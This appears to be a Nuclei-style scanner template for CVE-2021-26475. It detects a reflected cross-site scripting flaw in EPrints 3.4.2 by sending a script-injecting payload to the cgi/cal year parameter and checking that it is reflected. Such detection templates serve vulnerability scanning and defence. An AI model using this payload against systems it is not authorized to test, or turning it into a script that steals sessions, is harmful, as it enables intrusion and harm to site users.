EPrints 3.4.2 - Cross-Site Scripting

id: CVE-2021-26475

info:
  name: EPrints 3.4.2 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: EPrints 3.4.2 contains a reflected cross-site scripting vulnerability via the cgi/cal URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of EPrints that addresses this vulnerability.
  reference:
    - https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf
    - https://files.eprints.org/2548/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26475
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26475
    cwe-id: CWE-79
    epss-score: 0.06115
    epss-percentile: 0.92562
    cpe: cpe:2.3:a:eprints:eprints:3.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eprints
    product: eprints
  tags: cve2021,cve,xss,eprints,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - </title><script>alert('{{randstr}}')</script>

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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